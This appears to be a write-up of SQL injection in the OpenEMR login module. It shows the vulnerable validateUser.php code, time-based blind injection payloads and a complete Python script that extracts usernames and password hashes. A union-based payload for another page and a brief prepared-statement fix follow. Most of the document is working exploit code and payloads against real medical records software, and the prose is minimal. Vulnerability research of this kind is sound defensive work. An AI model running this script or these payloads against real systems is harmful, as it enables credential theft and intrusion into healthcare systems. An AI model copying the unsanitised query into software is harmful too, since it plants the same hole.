OpenEMR登录模块SQL注入分析

<?php$ignoreAuth=true;include_once("../globals.php");include_once("$srcdir/sql.inc");$user = $_GET['u'];$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");$passlength = $authDB['passlength'];$pw = $authDB['password'];if ($passlength == 32){    echo "0";}else if($passlength == 40){    echo "1";}?>

$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");

function chk_hash_fn(){    var str = document.forms[0].authUser.value;    $.ajax({        url: "validateUser.php?u="+str,        context: document.body,        success: function(data){            if(data == 0)             {                document.forms[0].authPass.value=MD5(document.forms[0].clearPass.value);                document.forms[0].authNewPass.value=SHA1(document.forms[0].clearPass.value);            }            else            {                document.forms[0].authPass.value=SHA1(document.forms[0].clearPass.value);            }            document.forms[0].clearPass.value='';            document.login_form.submit();        }    });}

http://localhost/openemr/interface/login/validateUser.php?u=%27%2B(SELECT+if((select%20count(username)%20from%20users)=2,sleep(3),1))%2B%27

validateUser.php?u='+(SELECT+if((select count(username) from users)=2,sleep(3),1))+'
validateUser.php?u='+(SELECT+if(length((select+group_concat(username,':',password)+from+users+limit+0,1))=1,sleep(3),1))+'
validateUser.php?u='+(SELECT+if(ascii(substr((select+group_concat(username,':',password)+from+users+limit+0,1),1,1))=1,sleep(3),1))+'

import requestsimport stringimport sys
all = string.printableurl = "http://10.75.154.145/openemr/interface/login/validateUser.php?u="proxy = {"http":"http://127.0.0.1:8082","https":"http://127.0.0.1:8082"}def extract_users_num():    print("[+] Finding number of users...")    for n in range(1,100):        payload = ''%2b(SELECT+if((select count(username) from users)=' + str(n) + ',sleep(3),1))%2b''        r = requests.get(url+payload,proxies=proxy)        if r.elapsed.total_seconds() > 3:            user_length = n            break    print("[+] Found number of users: " + str(user_length))    return user_length
def extract_users():    users = extract_users_num()    print("[+] Extracting username and password hash...")    output = []    for n in range(1,1000):        payload = ''%2b(SELECT+if(length((select+group_concat(username,':',password)+from+users+limit+0,1))=' + str(n) + ',sleep(3),1))%2b''        r = requests.get(url+payload,proxies=proxy)        if r.elapsed.total_seconds() > 3:            length = n            break    for i in range(1,length+1):        for char in all:            payload = ''%2b(SELECT+if(ascii(substr((select+group_concat(username,':',password)+from+users+limit+0,1),'+ str(i)+',1))='+str(ord(char))+',sleep(3),1))%2b''            r = requests.get(url+payload,proxies=proxy)            print(r.request.url)            if r.elapsed.total_seconds() > 3:                output.append(char)                if char == ",":                    print("")                    continue                print(char, end='', flush=True)
try:    extract_users()except KeyboardInterrupt:    print("")    print("[+] Exiting...")    sys.exit()

SELECT IF((select count(username) from users)=2,sleep(3),1)

$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");

http://www.example.com/interface/patient_file/summary/add_edit_issue.php?issue=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,user(),25,26,27--

$stmt = $pdo->prepare('SELECT * FROM blog_posts WHERE YEAR(created) = ? AND MONTH(created) = ?');if (!$stmt->execute([$_GET['year'], $_GET['month']])) {    header("Location: /blog/"); exit;}$posts = $stmt->fetchAll(PDO::FETCH_ASSOC);